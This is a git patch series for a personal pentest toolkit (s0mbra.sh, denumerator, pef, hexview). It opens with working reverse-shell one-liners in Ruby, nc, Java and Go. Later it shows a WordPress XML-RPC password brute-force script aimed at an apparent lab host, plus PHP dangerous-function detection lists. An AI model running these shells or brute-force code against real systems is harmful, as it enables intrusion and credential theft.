0>&1'\")\"" + echo + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo + echo -e "\033[36m[nc]\033[0m\t\tnc -e /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\tnc -c /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\t/bin/sh | nc $1 $port" + echo -e "\033[36m[nc]\033[0m\t\trm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[nc]\033[0m\t\trm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo + echo -e "\033[1;35m[Java]\033[0m\t\tr = Runtime.getRuntime();p = r.exec([\"/bin/bash","-c","exec 5<>/dev/tcp/$1/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[]);p.waitFor()" + echo + echo -e "\033[1;32m[Go]\033[0m\t\techo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$1:$port\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go" echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -824,8 +840,8 @@ case "$cmd" in discloS3) discloS3 "$2" ;; - generate_shells) - generate_shells "$2" "$3" + shells) + shells "$2" "$3" ;; rubysast) ruby_sast "$2" @@ -847,7 +863,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" From 2873bc730255feb5051df5e5302d781fe251f2b8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 14:44:38 +0000 Subject: [PATCH 195/289] [s0mbra] Added apk_to_studio command --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d1b4375..c842f60 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -626,7 +626,7 @@ ruby_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# deso stuff with Android APK file +# does stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -640,6 +640,14 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# xreate Android Studio project from Android apk file +apk_to_studio() { + clear + echo -e "$BLUE[s0mbra] Creating Android Studio project from APK file...$YELLOW" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx --deobf -e -d out "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # extracts Androind .ab archive abe() { clear @@ -792,6 +800,9 @@ case "$cmd" in apk) apk "$2" ;; + apk_to_studio) + apk_to_studio "$2" + ;; abe) abe "$2" ;; @@ -880,6 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk_to_studio $GRAY[.apk FILE]$CLR\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" From 3bf80b3075d941cc769c3e3b286fc94c02edca42 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Feb 2023 14:11:08 +0000 Subject: [PATCH 196/289] [s0mbra] abe() - remove .ab default extension --- s0mbra.sh | 2 +- xmlrpc_amplif_bruteforce.py | 20 ++++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c842f60..99c0fd8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -652,7 +652,7 @@ apk_to_studio() { abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1 $1.tar if [[ "$?" == 0 ]]; then echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." echo -e "[s0mbra] Let's untar some files, shall we?$CLR" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py index 0e2b30c..3993b1c 100644 --- a/xmlrpc_amplif_bruteforce.py +++ b/xmlrpc_amplif_bruteforce.py @@ -8,7 +8,9 @@ output = open("./output.txt", "w") passwords = open( "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() -host = "HOST.com" +usernames = open( + "/Users/bl4de/hacking/dictionaries/SecLists/Usernames/top-usernames-shortlist.txt").readlines() +host = "metapress.htb" # headers used in POST requests h = { @@ -19,7 +21,7 @@ index = 0 # XMLRPC url -url = f"https://{host}/xmlrpc.php" +url = "http://metapress.htb/xmlrpc.php" print("[+] building payload...") # building payload for system.multicall wp.getUsersBlogs @@ -92,7 +94,7 @@ def send_request_with_username(username, passwords): payload = payload_start + payload + payload_end - print(payload) + # print(payload) print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) resp = requests.post(url, headers=h, data=payload) @@ -100,7 +102,7 @@ def send_request_with_username(username, passwords): if resp.status_code == 200: print("[+] response HTTP 200 OK received, analysing results...") # p0wned. This is the end :P - if "isAdmin" in resp.content: + if b"isAdmin" in resp.content: print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) output.write(resp.content) exit(0) @@ -117,11 +119,9 @@ def send_request_with_username(username, passwords): print(resp.content) -# for username in usernames: -# send_request_with_username("trapcall", ["123456"]) - -for i in range(0, 100000, 64): - p = passwords[i:i+64] - send_request_with_username("trapcall", p) +for username in usernames: + for i in range(0, 100000, 64): + password = passwords[i:i+64] + send_request_with_username(username, password) print("[+] done...\n\n") From 75900eac20ec3b67b1366907dbe381315790c886 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:11:17 +0000 Subject: [PATCH 197/289] [denumerator] missing ) in menu --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5576f08..69220bd 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -475,7 +475,7 @@ def main(): allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( From 82552cd36dcbb580e2eb58ca8d12e5e50d9b97aa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:17:45 +0000 Subject: [PATCH 198/289] [denumerator] Fix flag options in menu to not require values --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 69220bd..cd25a14 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -479,7 +479,7 @@ def main(): parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( - "-s", "--success", help="Show all responses, including exceptions") + "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( @@ -488,7 +488,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From 6459e8244f86a7dc812b52c9dd8cef9d9f8e3d4e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 12:13:23 +0000 Subject: [PATCH 199/289] [denumerator] Open screenshot in fulls ize in new tab --- denumerator/denumerator.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index cd25a14..4a4c8aa 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -312,7 +312,9 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ - + + + From ccdc8c403050d94bb8b16746c687a060f62c16e0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Mar 2023 13:08:31 +0000 Subject: [PATCH 200/289] [denumerator] fixed template (missing screenshot name) --- denumerator/denumerator.py | 1 + 1 file changed, 1 insertion(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4a4c8aa..dad6987 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -340,6 +340,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ (http_status_code//100), element_class_name, screenshot_name, + screenshot_name, response_headers_html, ip_html, nmap_html From a89c1f697ff60d659ee382c2402a747670333cf9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jun 2023 20:15:05 +0100 Subject: [PATCH 201/289] [s0mbra] remove graupdit from pysast() due to very verbose output :P --- hexview/hexview.py | 3 +-- s0mbra.sh | 3 --- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 3a146d5..8467d2d 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/usr/local/homebrew/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -262,7 +262,6 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) - print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) diff --git a/s0mbra.sh b/s0mbra.sh index 99c0fd8..f46c43e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -444,9 +444,6 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" - graudit $1 - # cleanup rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" From b27b9a768f2338353f0de7938ee062ded2c9922f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 3 Jun 2023 01:53:01 +0100 Subject: [PATCH 202/289] [pef] refactoring --- pef/imports/pefdocs.py | 6 ++++++ pef/pef.py | 19 ++++++++++--------- pef/test.php | 3 +++ 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3be2893..f0f7044 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -5,6 +5,12 @@ # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical" + ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 14fc868..586045b 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -25,6 +25,7 @@ # exploitable functions exploitableFunctions = [ + "`", "system(", "exec(", "popen(", @@ -43,7 +44,6 @@ "putenv(", "ini_set(", "mail(", - "header(", "unserialize(", "assert(", "call_user_func(", @@ -75,7 +75,6 @@ "print(", "printf(", "ldap_search(", - "header(", "sqlite_", "sqlite_query(", "pg_", @@ -183,14 +182,16 @@ def analyse_line(self, l, i, fn, f, line): """ res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = "{}".format(fn) + atfn = f"@{fn}" + fn = f"{fn}" # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if fn in line or atfn in line: - res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + if fn == "`": + res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + else: + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): @@ -215,8 +216,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) + print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 diff --git a/pef/test.php b/pef/test.php index f513700..3bb1f9e 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,3 +4,6 @@ echo $_GET['cmd']; } +`ls -lA`; +[]; + From a983c8a65605f0d102d269c4bd8f0341438b4440 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Jun 2023 10:31:04 +0100 Subject: [PATCH 203/289] [pef] refactoring --- pef/pef.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 586045b..f98b2de 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -216,8 +216,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor(impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 From a951dd5d463a26036ee737b68092aff9cc41130a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Jun 2023 09:53:03 +0100 Subject: [PATCH 204/289] [s0mbra] added graphw00f to gql() --- s0mbra.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f46c43e..27c985d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -589,9 +589,11 @@ jadx() { /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } -# executes graphql-cop against GraphQL endpoint +# executes grpahw00f graphql-cop against GraphQL endpoint gql() { clear + echo -e "$BLUE[s0mbra] Fingerprinting GraphQl endpoints on $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" From cf16da3318508336c2dd4d34ecda353c5ccff7f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:00:25 +0100 Subject: [PATCH 205/289] [s0mbra] Fix rockyou_john --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 27c985d..3f97098 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -78,7 +78,7 @@ rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi @@ -879,7 +879,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 8b9014c846a8b6b389da72b4125fa9f489b7a88c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Jun 2023 23:17:18 +0100 Subject: [PATCH 206/289] [s0mbra] john_pot to display POT file --- s0mbra.sh | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3f97098..6fa99a5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -86,6 +86,13 @@ rockyou_john() { echo -e "\n$BLUE[s0mbra] Done." } +# show JTR's pot file +john_pot() { + echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" + cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." +} + # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." @@ -769,6 +776,9 @@ case "$cmd" in rockyou_zip) rockyou_zip "$2" ;; + john_pot) + john_pot + ;; ssh_to_john) ssh_to_john "$2" ;; @@ -879,8 +889,9 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 87b54957ac449803fff9037d916a94fe512b55a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 22 Jun 2023 15:40:26 +0100 Subject: [PATCH 207/289] [s0mbra] simplify peek() output --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6fa99a5..56a8b4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From b6264ea183a28962d3afe001b217752518e18814 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 23 Jun 2023 11:46:43 +0100 Subject: [PATCH 208/289] [s0mbra] rename um() to unmin() --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 56a8b4c..de33ed4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -113,7 +113,7 @@ ssh_to_john() { } # runs unminify on $1 JavaScript file -um() { +unmin() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME @@ -783,8 +783,8 @@ case "$cmd" in defcreds) defcreds "$2" ;; - um) - um "$2" + unmin) + unmin "$2" ;; snyktest) snyktest @@ -892,7 +892,7 @@ case "$cmd" in echo -e "$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" From a923677d10a12255899d9ef223e5b6d1133e02c4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 24 Jun 2023 10:58:56 +0100 Subject: [PATCH 209/289] [s0mbra] Remove x8 --- s0mbra.sh | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index de33ed4..c62500e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -296,16 +296,14 @@ recon() { NIKTO="1" FFUF="1" FEROXBUSTER="1" - X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 fi @@ -354,11 +352,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # x8 - if [[ $X8 -eq "1" ]]; then - x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 - fi - # subdomanizer if [[ $SUBDOMANIZER -eq "1" ]]; then echo -e "\n$GREEN--> SubDomanizer$CLR\n" @@ -867,7 +860,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 69350fbba08032477c1c4231f57d9b1891c11c61 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Jun 2023 01:40:53 +0100 Subject: [PATCH 210/289] [pef] --skip-vendor option to omit /vendor folder --- pef/pef.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f98b2de..a157f33 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,15 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, filename): + def __init__(self, recursive, level, filename, skip_vendor=False): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.filename = filename # name of file/folder to scan - + self.skip_vendor = skip_vendor + self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -250,6 +251,8 @@ def run(self): f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + if self.skip_vendor is True and "vendor" in root: + continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,6 +285,8 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") + parser.add_argument( + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( @@ -295,5 +300,5 @@ def is_comment(self, line: str) -> bool: filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, filename) + engine = PefEngine(args.recursive, level, filename, args.skip_vendor) engine.run() From 43bc88d4db31935c9fda7ad646903e9fda36ab6c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Jun 2023 10:37:18 +0100 Subject: [PATCH 211/289] misc updates --- pef/pef.py | 1 - s0mbra.sh | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a157f33..3b6e501 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -210,7 +210,6 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] - vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: diff --git a/s0mbra.sh b/s0mbra.sh index c62500e..3950fbf 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,10 +608,8 @@ graphw00f() { # runs PHP SAST tools against PHP application php_sast() { clear - echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - ./vendor/bin/phpstan analyse $1 - graudit $1 - phpcs --colors -vs $1 + echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" + semgrep scan --config=auto --sarif -o ./semgrep.sarif $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From d4eb1d277d10965a9a27247263411e7e5959024a Mon Sep 17 